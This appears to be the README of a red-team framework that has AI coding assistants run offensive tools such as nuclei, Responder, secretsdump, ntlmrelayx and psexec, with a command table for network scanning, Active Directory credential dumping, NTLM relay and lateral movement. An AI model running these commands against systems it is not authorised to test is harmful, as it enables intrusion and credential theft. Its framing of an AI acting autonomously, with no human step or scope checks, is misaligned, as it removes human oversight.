RedTeam-Agent

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Overview

RedTeam-Agent is an AI-powered red team framework using a skill-first terminal workflow. AI reads project skills, discovers tools, executes commands in terminal, and summarizes high-signal findings.

Core philosophy: no manual tool-by-tool operation. Let AI orchestrate the workflow end-to-end.

Key Features

• Plug and play: 15+ tools with automated setup
• AI-driven workflow: Skill + terminal execution
• Token optimized: output filtering and file-first strategy
• AD coverage: BloodHound + impacket + Responder chain
• Multi-client support: Cursor, Claude Desktop, VS Code/Cline

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Tool Matrix

Network

• gogo: fast asset discovery
• fscan: comprehensive host/service scan

Web

• httpx: HTTP probing and fingerprinting
• nuclei: template-based vulnerability validation
• ffuf: directory and parameter fuzzing

Active Directory

• SharpHound / bloodhound-python
• impacket (GetNPUsers, GetUserSPNs, secretsdump, ntlmrelayx, etc.)
• pywerview, ldapdomaindump

Lateral Movement

• nxc (NetExec)
• impacket-wmiexec
• impacket-psexec

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Quick Start

1. Requirements

Python 3.8+
Windows 10/11 or Linux/macOS
8GB+ RAM recommended

2. Installation

git clone https://github.com/ktol1/RedTeam-Agent.git
cd RedTeam-Agent

python -m venv venv
# Windows PowerShell
.\venv\Scripts\Activate.ps1
# Linux/macOS
source venv/bin/activate

# Windows
python scripts/install_tools.py

# Linux/macOS
python scripts/install_tools_linux.py

3. Enable Skills Terminal Mode

No extra server setup is required.

cd RedTeam-Agent
dir .\tools

AI will read the repository skill and .github/copilot-instructions.md, then execute terminal commands directly.

4. Example Prompts

First load the redteam skill, then scan 192.168.1.0/24 in terminal,
write output to scan.txt, and summarize high-value findings.

Use SharpHound to collect corp.local data and summarize attack paths.

Set up a chisel proxy and provide upload/run commands.

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AD Attack Flow

1. Recon: gogo / fscan / kerbrute / pywerview
2. Collection: SharpHound or bloodhound-python
3. Analysis: BloodHound GUI or scripts/bloodhound_analysis.py
4. Attack: Kerberoast / AS-REP Roast / secretsdump / relay
5. Lateral: nxc / wmiexec / psexec / getST

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Terminal Commands (Skill-driven)

#	Tool	Function	Command
1	gogo	Fast asset probe	gogo -t 100 -l hosts.txt -q -f gogo.txt
2	fscan	Network scanner	fscan -h 192.168.1.0/24 -np -silent -nocolor -o fscan.txt
3	httpx	Web fingerprinting	httpx -l urls.txt -sc -title -server -td -silent -o httpx.txt
4	nuclei	POC scanner	nuclei -l urls.txt -tags cve,rce -s high,critical -nc -o nuclei.txt
5	ffuf	Directory fuzzing	ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,302 -s -o ffuf.txt
6	nxc	Lateral movement	nxc smb 192.168.1.0/24 -u user -p pass --shares
7	kerbrute	Kerberos enum	kerbrute userenum -d corp.local --dc 192.168.1.10 users.txt -o valid_users.txt
8	SharpHound	Data collection	SharpHound.exe -c Default -d corp.local
9	pywerview	Domain enum	pywerview.py get-domain-user -d corp.local --dc-ip 192.168.1.10 -u user -p pass
10	ldapdomaindump	LDAP dump	ldapdomaindump ldap://192.168.1.10 -u 'corp\\user' -p 'password' -o .\\ldapdump
11	responder	LLMNR spoofing	responder -I eth0 -v
12	wmiexec	WMI exec	impacket-wmiexec domain/user:pass@target 'whoami'
13	psexec	Service exec	impacket-psexec domain/user:pass@target cmd.exe
14	secretsdump	Credential dump	impacket-secretsdump corp.local/user:pass@dc -just-dc
15	ntlmrelayx	NTLM relay	impacket-ntlmrelayx -t ldap://dc --smb2support

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Output Optimization

• Remove ANSI colors
• Compress blank lines
• Truncate excessive output
• Prefer file-first output for large scans
• Summarize only high-signal findings

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Documentation

• SKILL.md
• .github/copilot-instructions.md

Contributing

Issues and pull requests are welcome.